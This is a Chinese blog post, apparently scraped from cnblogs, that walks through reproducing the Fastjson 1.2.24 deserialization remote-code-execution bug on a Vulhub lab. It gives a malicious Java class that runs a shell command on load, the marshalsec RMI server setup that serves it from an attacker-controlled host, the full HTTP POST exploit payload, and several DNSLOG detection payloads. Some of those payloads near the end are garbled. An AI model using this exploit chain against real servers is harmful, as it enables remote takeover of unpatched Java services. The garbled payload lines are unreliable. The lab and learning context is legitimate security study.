zoukankan      html  css  js  c++  java
  • Fastjson1.2.24RCE漏洞复现

    Fastjson1.2.24RCE漏洞复现

    环境搭建

    这里用的Vulhub靶场

    cd /vulhub/fastjson/1.2.24-rce
    docker-compose up -d
    

    报错

    ERROR: Get https://registry-1.docker.io/v2/: dial tcp: lookup registry-1.docker.io: Temporary failure in name resolution
    

    image-20210303223504398

    名称解析失效,我的问题是虚拟机NAT网络出了点问题,重启就好了。

    参考:https://blog.csdn.net/qq_43743460/article/details/105648139

    靶机环境:

    Ubuntu 16 :Vulhub

    Kali :

    jdk 1.8 + maven 3.6.3

    image-20210304155432710

    如果maven没有安装的话需要自己百度搭一下或者参考我这篇

    docker环境起来后访问 ip:8090查看,页面是这样的。

    image-20210304155251008

    大致流程:

    编写恶意类 --> 编译为class文件 --> 在class的目录用python开一个HTTP服务 --> marshalsec起一个RMI服务 --> 构造包触发反序列化点远程加载恶意类 --> 执行命令
    

    1234端口用Python起一个SimpleHTTPServer

    9999端口利用marshalsec项目起一个RMI服务

    HTTPServer与RMI可以在同一个服务器搭

    将下面代码写入dnslog.java

    import java.lang.Runtime;
    import java.lang.Process;
    
    public class dnslog{
        static {
            try {
                Runtime rt = Runtime.getRuntime();
                String[] commands = { "/bin/sh", "-c", "ping user.`whoami`.DNSLOG地址"};
                Process pc = rt.exec(commands);
                pc.waitFor();
            } catch (Exception e) {
                // do nothing
            }
        }
    }
    

    生成 test.class文件

    javac test.java
    

    之后python起一个http服务,监听在1234端口上

    python -m SimpleHTTPServer 1234
    

    用marshalsec项目起一个RMI服务,监听9999端口并加载远程类dnslog.class

    git clone https://github.com/mbechler/marshalsec.git
    # mvn编译 marshalsec项目
    mvn clean package -DskipTests
    

    编译完成会出现如下图的 BUILD SUCCESS 的INFO信息。

    image-20210304165816369

    开启RMI服务并加载dnslog类

    cd target
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.124.141:4567/#dnslog" 9999
    

    漏洞复现

    ok,下面burp抓包发送payload即可,因为DNS解析的问题,第一次解析会有些慢需要多等会。

    poc:

    POST / HTTP/1.1
    Host: 192.168.124.153:8090
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/json
    Content-Length: 174
    
    
    {
        "b":{
            "@type":"com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName":"rmi://192.168.124.141:9999/dnslog",
            "autoCommit":true
        }
    }
    

    响应包和DNSLOG:

    image-20210305162850434

    image-20210305163705407

    RMI服务:

    image-20210305163917727

    SimpleHTTPServer:

    image-20210305164047422

    判断fastjson

    这里参考的是freebuf大佬的思路,主要是根据返回包判断,再一个就是DNSLOG盲打。文末贴上传送门。

    即看到json的返回包,抓个包,POST只加个 { 发过去,如果返回包报错存在fastjson字样就确认了。当然这个了能会屏蔽。

    比如vulhub靶场这个就不可以了

    image-20210308123007949

    或构造以下payload,利用dnslog平台接收。

    {"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}
    
    1.2.67版本后payload
    
    {"@type":"java.net.Inet4Address","val":"dnslog"}
    {"@type":"java.net.Inet6Address","val":"dnslog"}
    
    畸形:
    {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
    
    "@type":"java.net.InetSocketAddress"{"address":,"val":"这里是dnslog"}}
    
    
    ["@Type":"Java.Net.InetSocketAddress"{"address":,"Val":"Zhèlǐ shì dnslog"}}]"@Type":
    
    "java.net.InetSocketAddress" { "address":, "val": "This is dnslog"}}
    

    Reference

    https://www.freebuf.com/articles/web/242712.html

    https://www.cnblogs.com/cute-puli/p/13466362.html

    所有内容仅限于维护网络安全学习参考
  • 相关阅读:
    CentOS安装配置
    扩展多线程应用程序 CLR 和 线程
    OEA体验 :元数据编写
    字符串的逆序之旅
    学习之响应式Web设计:Media Queries和Viewports
    Windows Azure Virtual Machine Role (4) 在VHD中安装需要的功能
    java开发web service快速入门(视频)
    淘宝技术发展(Java时代:脱胎换骨)
    Contoso 大学 使用 EF Code First 创建 MVC 应用
    负载均衡原理与实践详解 第三篇 服务器负载均衡的基本概念网络基础
  • 原文地址:https://www.cnblogs.com/Zh1z3ven/p/14499041.html
Copyright © 2011-2022 走看看